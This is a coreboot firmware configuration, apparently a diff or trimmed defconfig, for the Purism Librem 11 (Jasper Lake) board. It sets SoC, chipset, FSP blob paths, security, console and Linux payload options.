-CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0x1400 -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_USE_PM_ACPI_TIMER=y -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xc0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=256 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_DCACHE_RAM_BASE=0xfef00000 -CONFIG_DCACHE_RAM_SIZE=0x80000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x30400 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_jsl/librem_11/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_jsl/librem_11/me.bin" -CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y -CONFIG_USE_LEGACY_8254_TIMER=y -# CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem 11" CONFIG_HAVE_IFD_BIN=y -CONFIG_PS2K_EISAID="PNP0303" -CONFIG_PS2M_EISAID="PNP0F13" -# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set -CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y -CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_L1_SUB_STATE=y -CONFIG_PCIEXP_CLK_PM=y -# CONFIG_BOARD_PURISM_LIBREM13_V1 is not set -# CONFIG_BOARD_PURISM_LIBREM15_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM_MINI is not set -# CONFIG_BOARD_PURISM_LIBREM_MINI_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM_14 is not set CONFIG_BOARD_PURISM_LIBREM_11=y -# CONFIG_BOARD_PURISM_LIBREM_L1UM_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM13_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM15_V3 is not set -# CONFIG_BOARD_PURISM_LIBREM13_V4 is not set -# CONFIG_BOARD_PURISM_LIBREM15_V4 is not set -# CONFIG_DRIVERS_UART_8250IO is not set -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_JSL=y -# CONFIG_ENABLE_UART2 is not set -CONFIG_FSP_TEMP_RAM_SIZE=0x28000 -CONFIG_EC_GPE_SCI=0x50 CONFIG_LINUX_COMMAND_LINE="intel_iommu=igfx_off quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set -CONFIG_COREBOOT_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=16384 -CONFIG_ROM_SIZE=0x01000000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set -CONFIG_POWER_STATE_ON_AFTER_FAILURE=y -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 -# end of Mainboard - -CONFIG_SYSTEM_TYPE_DETACHABLE=y - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="" CONFIG_FSP_M_FILE="3rdparty/purism-blobs/mainboard/purism/librem_jsl/librem_11/fspm.bin" CONFIG_FSP_S_FILE="3rdparty/purism-blobs/mainboard/purism/librem_jsl/librem_11/fsps.bin" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x200000 -CONFIG_SMM_MODULE_STACK_SIZE=0x800 -CONFIG_ACPI_BERT_SIZE=0x0 -CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=133 -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_IFD_CHIPSET="jsl" -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_MAX_ROOT_PORTS=8 -CONFIG_MAX_PCIE_CLOCK_SRC=6 -CONFIG_PCR_BASE_ADDRESS=0xfd000000 -CONFIG_CPU_BCLK_MHZ=100 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 -CONFIG_CPU_XTAL_HZ=38400000 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=3 -CONFIG_SOC_INTEL_I2C_DEV_MAX=6 -CONFIG_SOC_INTEL_UART_DEV_MAX=3 -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 -CONFIG_FSP_HEADER_PATH="src/vendorcode/intel/fsp/fsp2_0/jasperlake/" -CONFIG_FSP_FD_PATH="3rdparty/fsp/JasperLakeFspBinPkg/Fsp.fd" -CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8258 -CONFIG_INTEL_GMA_BCLV_WIDTH=32 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8254 -CONFIG_INTEL_GMA_BCLM_WIDTH=32 -CONFIG_MAX_HECI_DEVICES=6 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_HAVE_PAM0_REGISTER=y -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 -CONFIG_SOC_INTEL_JASPERLAKE=y -CONFIG_SOC_INTEL_JASPERLAKE_DEBUG_CONSENT=0 -CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 -CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 -CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 -CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y -CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 -CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_SOC_INTEL_COMMON=y - -# -# Intel SoC Common Code for IP blocks -# -CONFIG_SOC_INTEL_COMMON_BLOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CNVI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y -CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y -# CONFIG_USE_COREBOOT_MP_INIT is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y -CONFIG_INTEL_CAR_NEM_ENHANCED=y -CONFIG_COS_MAPPED_TO_MSB=y -CONFIG_USE_INTEL_FSP_TO_CALL_COREBOOT_PUBLISH_MP_PPI=y -CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y -# CONFIG_INTEL_KEYLOCKER is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y -CONFIG_SOC_INTEL_CSE_SEND_EOP_LATE=y -CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" -CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" -CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" -CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" -CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" -CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" -CONFIG_SOC_INTEL_CSE_RW_FILE="" -CONFIG_SOC_INTEL_CSE_RW_VERSION="" -CONFIG_SOC_INTEL_CSE_SET_EOP=y -CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" -CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" -CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_13=y -CONFIG_ME_SPEC=13 -CONFIG_CSE_RESET_CLEAR_EC_AP_IDLE_FLAG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y -CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y -# CONFIG_SOC_INTEL_DISABLE_IGD is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_VERSION_2=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y -CONFIG_SOC_INTEL_MEM_MAPPED_PM_CONFIGURATION=y -CONFIG_PMC_IPC_ACPI_INTERFACE=y -CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SCS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y -# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 -CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y -CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y - -# -# Intel SoC Common PCH Code -# -CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y -CONFIG_SOC_INTEL_COMMON_PCH_BASE=y -CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y -CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y -CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y -CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y - -# -# Intel SoC Common coreboot stages and non-IP blocks -# -CONFIG_SOC_INTEL_COMMON_BASECODE=y -CONFIG_SOC_INTEL_COMMON_RESET=y -CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y -CONFIG_PAVP=y -# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set - -# -# CPU -# -CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y -CONFIG_CPU_INTEL_COMMON=y -CONFIG_ENABLE_VMX=y -CONFIG_SET_IA32_FC_LOCK_BIT=y -CONFIG_SET_MSR_AESNI_LOCK_BIT=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_PARALLEL_MP=y -CONFIG_PARALLEL_MP_AP_WORK=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set CONFIG_CPU_UCODE_BINARIES="3rdparty/purism-blobs/mainboard/purism/librem_jsl/cpu_microcode_blob.bin" - -# -# Northbridge -# - -# -# Southbridge -# -# CONFIG_PCIEXP_HOTPLUG is not set -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# - -# -# Embedded Controllers -# -CONFIG_EC_ACPI=y - -# -# Intel Firmware -# CONFIG_HAVE_ME_BIN=y -# CONFIG_STITCH_ME_BIN is not set -# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set -# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set -# CONFIG_LOCK_MANAGEMENT_ENGINE is not set -CONFIG_UNLOCK_FLASH_REGIONS=y -CONFIG_UDK_BASE=y -CONFIG_UDK_202005_BINDING=y -CONFIG_UDK_2013_VERSION=2013 -CONFIG_UDK_2017_VERSION=2017 -CONFIG_UDK_202005_VERSION=202005 -CONFIG_UDK_202302_VERSION=202302 -CONFIG_UDK_VERSION=202005 -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_IDT_IN_EVERY_STAGE=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS_IN_ALL_STAGES=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_HAVE_FSP_GOP=y -# CONFIG_VGA_ROM_RUN is not set -CONFIG_RUN_FSP_GOP=y -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x10000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -CONFIG_INTEL_GMA_HAVE_VBT=y -CONFIG_INTEL_GMA_ADD_VBT=y -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set -# CONFIG_ELOG is not set -CONFIG_CACHE_MRC_SETTINGS=y -CONFIG_MRC_SETTINGS_PROTECT=y -# CONFIG_SMMSTORE is not set -CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_NO_UART_ON_SUPERIO=y -# CONFIG_DRIVERS_UART_OXPCIE is not set -# CONFIG_VPD is not set -CONFIG_DRIVERS_GENERIC_CBFS_SERIAL=y -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -CONFIG_DRIVERS_I2C_DESIGNWARE=y -CONFIG_DRIVERS_I2C_GENERIC=y -CONFIG_DRIVERS_I2C_HID=y -# CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_HAVE_DPTF_EISA_HID=y -# CONFIG_DISPLAY_HOBS is not set -# CONFIG_DISPLAY_UPD_DATA is not set -CONFIG_PLATFORM_USES_FSP2_0=y -CONFIG_PLATFORM_USES_FSP2_1=y -CONFIG_PLATFORM_USES_FSP2_2=y -CONFIG_PLATFORM_USES_FSP2_X86_32=y CONFIG_ADD_FSP_BINARIES=y -CONFIG_FSP_T_LOCATION=0xfffe0000 -CONFIG_FSP_S_CBFS="fsps.bin" -CONFIG_FSP_M_CBFS="fspm.bin" -# CONFIG_FSP_FULL_FD is not set -CONFIG_FSP_T_RESERVED_SIZE=0x0 -CONFIG_FSP_M_XIP=y -CONFIG_FSP_USES_CB_STACK=y -CONFIG_FSP_COMPRESS_FSP_S_LZ4=y -CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y -CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 -CONFIG_SOC_INTEL_COMMON_FSP_RESET=y -CONFIG_USE_FSP_NOTIFY_PHASE_POST_PCI_ENUM=y -CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y -CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y -# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set -CONFIG_INTEL_GMA_ACPI=y -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set -# CONFIG_DRIVERS_PS2_KEYBOARD is not set -CONFIG_DRIVERS_MC146818=y -CONFIG_USE_PC_CMOS_ALTCENTURY=y -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_USB_ACPI=y -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y -CONFIG_MP_SERVICES_PPI=y -CONFIG_MP_SERVICES_PPI_V1=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -CONFIG_NO_TPM=y -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_STM is not set -# CONFIG_INTEL_CBNT_SUPPORT is not set -CONFIG_BOOTMEDIA_LOCK_NONE=y -# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_CUSTOM_MADT=y -CONFIG_ACPI_NO_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_LAPIC=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_ACPI_LPIT=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -CONFIG_HWBASE_DEBUG_CB=y -# end of Console - -CONFIG_ACPI_S1_NOT_SUPPORTED=y -CONFIG_HAVE_ACPI_RESUME=y -CONFIG_RESUME_PATH_SAME_AS_BOOT=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_IOAPIC=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_BIOS_VENDOR="coreboot" -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# -# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set -# CONFIG_DISPLAY_FSP_HEADER is not set -# CONFIG_VERIFY_HOBS is not set -# CONFIG_DISPLAY_FSP_VERSION_INFO is not set -CONFIG_DISPLAY_FSP_VERSION_INFO_2=y -# CONFIG_ENABLE_FSP_ERROR_INFO is not set -CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y -# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set - -# -# General Debug Settings -# -# CONFIG_FATAL_ASSERTS is not set -CONFIG_HAVE_DEBUG_GPIO=y -# CONFIG_DEBUG_GPIO is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -CONFIG_HAVE_EM100_SUPPORT=y -# CONFIG_EM100 is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_HAVE_SPD_IN_CBFS=y -CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_GENERIC_GPIO_LIB=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y 